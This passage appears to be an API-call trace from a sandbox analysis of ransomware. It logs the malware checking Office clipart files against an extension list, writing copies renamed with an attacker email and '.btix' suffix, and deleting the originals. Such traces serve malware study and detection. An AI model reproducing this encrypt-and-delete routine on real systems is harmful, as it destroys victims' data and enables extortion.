(lpString1=".bz2", lpString2=".WMF") returned -1 [0055.936] lstrlenW (lpString=".7z") returned 3 [0055.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.937] lstrlenW (lpString=".dbf") returned 4 [0055.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.937] lstrlenW (lpString=".1cd") returned 4 [0055.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.937] lstrlenW (lpString=".jpg") returned 4 [0055.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.937] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=47996) returned 1 [0055.937] CloseHandle (hObject=0x328) returned 1 [0055.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0055.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.938] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.938] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0055.938] GetLastError () returned 0x0 [0055.938] ReadFile (in: hFile=0x328, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0055.955] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xbb80, lpOverlapped=0x0) returned 1 [0055.957] ReadFile (in: hFile=0x328, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0055.957] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0055.957] SetEndOfFile (hFile=0x378) returned 1 [0055.957] CloseHandle (hObject=0x378) returned 1 [0055.958] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.958] SetEndOfFile (hFile=0x328) returned 1 [0055.959] CloseHandle (hObject=0x328) returned 1 [0055.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0055.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.962] lstrlenW (lpString=".doc") returned 4 [0055.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.962] lstrlenW (lpString=".docx") returned 5 [0055.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.962] lstrlenW (lpString=".pdf") returned 4 [0055.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.962] lstrlenW (lpString=".xls") returned 4 [0055.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.962] lstrlenW (lpString=".xlsx") returned 5 [0055.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.962] lstrlenW (lpString=".ppt") returned 4 [0055.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.962] lstrlenW (lpString=".zip") returned 4 [0055.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.962] lstrlenW (lpString=".rar") returned 4 [0055.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.963] lstrlenW (lpString=".bz2") returned 4 [0055.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.963] lstrlenW (lpString=".7z") returned 3 [0055.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.963] lstrlenW (lpString=".dbf") returned 4 [0055.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.963] lstrlenW (lpString=".1cd") returned 4 [0055.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0055.963] lstrlenW (lpString=".jpg") returned 4 [0055.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.967] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=14540) returned 1 [0055.967] CloseHandle (hObject=0x308) returned 1 [0055.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0055.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.969] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0055.972] GetLastError () returned 0x0 [0055.972] ReadFile (in: hFile=0x34c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x38cc, lpOverlapped=0x0) returned 1 [0056.032] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x38d0, lpOverlapped=0x0) returned 1 [0056.033] ReadFile (in: hFile=0x34c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0056.033] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0056.033] SetEndOfFile (hFile=0x378) returned 1 [0056.033] CloseHandle (hObject=0x378) returned 1 [0056.034] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.034] SetEndOfFile (hFile=0x34c) returned 1 [0056.034] CloseHandle (hObject=0x34c) returned 1 [0056.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0056.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.035] lstrlenW (lpString=".doc") returned 4 [0056.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.035] lstrlenW (lpString=".docx") returned 5 [0056.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.035] lstrlenW (lpString=".pdf") returned 4 [0056.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.035] lstrlenW (lpString=".xls") returned 4 [0056.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.035] lstrlenW (lpString=".xlsx") returned 5 [0056.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.035] lstrlenW (lpString=".ppt") returned 4 [0056.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.036] lstrlenW (lpString=".zip") returned 4 [0056.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.036] lstrlenW (lpString=".rar") returned 4 [0056.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.036] lstrlenW (lpString=".bz2") returned 4 [0056.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.036] lstrlenW (lpString=".7z") returned 3 [0056.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.036] lstrlenW (lpString=".dbf") returned 4 [0056.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.036] lstrlenW (lpString=".1cd") returned 4 [0056.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0056.036] lstrlenW (lpString=".jpg") returned 4 [0056.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.037] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=20189) returned 1 [0056.037] CloseHandle (hObject=0x378) returned 1 [0056.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0056.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0056.039] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.039] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.039] GetLastError () returned 0x0 [0056.039] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4edd, lpOverlapped=0x0) returned 1 [0056.060] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0056.720] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0056.720] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0056.720] SetEndOfFile (hFile=0x36c) returned 1 [0056.720] CloseHandle (hObject=0x36c) returned 1 [0056.721] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.721] SetEndOfFile (hFile=0x2d8) returned 1 [0056.722] CloseHandle (hObject=0x2d8) returned 1 [0056.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0056.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.722] lstrlenW (lpString=".doc") returned 4 [0056.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.722] lstrlenW (lpString=".docx") returned 5 [0056.722] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.722] lstrlenW (lpString=".pdf") returned 4 [0056.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.722] lstrlenW (lpString=".xls") returned 4 [0056.723] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.723] lstrlenW (lpString=".xlsx") returned 5 [0056.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.723] lstrlenW (lpString=".ppt") returned 4 [0056.723] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.723] lstrlenW (lpString=".zip") returned 4 [0056.723] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.723] lstrlenW (lpString=".rar") returned 4 [0056.723] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.723] lstrlenW (lpString=".bz2") returned 4 [0056.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.723] lstrlenW (lpString=".7z") returned 3 [0056.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.723] lstrlenW (lpString=".dbf") returned 4 [0056.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.723] lstrlenW (lpString=".1cd") returned 4 [0056.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0056.723] lstrlenW (lpString=".jpg") returned 4 [0056.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.723] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.723] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.724] GetLastError () returned 0x0 [0056.724] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4780, lpOverlapped=0x0) returned 1 [0056.832] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4790, lpOverlapped=0x0) returned 1 [0056.833] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0056.833] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0056.833] SetEndOfFile (hFile=0x36c) returned 1 [0056.833] CloseHandle (hObject=0x36c) returned 1 [0056.834] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.834] SetEndOfFile (hFile=0x2d8) returned 1 [0056.835] CloseHandle (hObject=0x2d8) returned 1 [0056.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0056.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.835] lstrlenW (lpString=".doc") returned 4 [0056.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.835] lstrlenW (lpString=".docx") returned 5 [0056.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.836] lstrlenW (lpString=".pdf") returned 4 [0056.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString=".xls") returned 4 [0056.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.836] lstrlenW (lpString=".xlsx") returned 5 [0056.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.836] lstrlenW (lpString=".ppt") returned 4 [0056.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString=".zip") returned 4 [0056.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.836] lstrlenW (lpString=".rar") returned 4 [0056.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString=".bz2") returned 4 [0056.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString=".7z") returned 3 [0056.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString=".dbf") returned 4 [0056.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString=".1cd") returned 4 [0056.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString=".jpg") returned 4 [0056.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.836] lstrlenW (lpString=".doc") returned 4 [0056.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.836] lstrlenW (lpString=".docx") returned 5 [0056.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.836] lstrlenW (lpString=".pdf") returned 4 [0056.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".xls") returned 4 [0056.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.837] lstrlenW (lpString=".xlsx") returned 5 [0056.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.837] lstrlenW (lpString=".ppt") returned 4 [0056.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.837] lstrlenW (lpString=".zip") returned 4 [0056.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.837] lstrlenW (lpString=".rar") returned 4 [0056.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".bz2") returned 4 [0056.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString=".7z") returned 3 [0056.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.837] lstrlenW (lpString=".dbf") returned 4 [0056.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 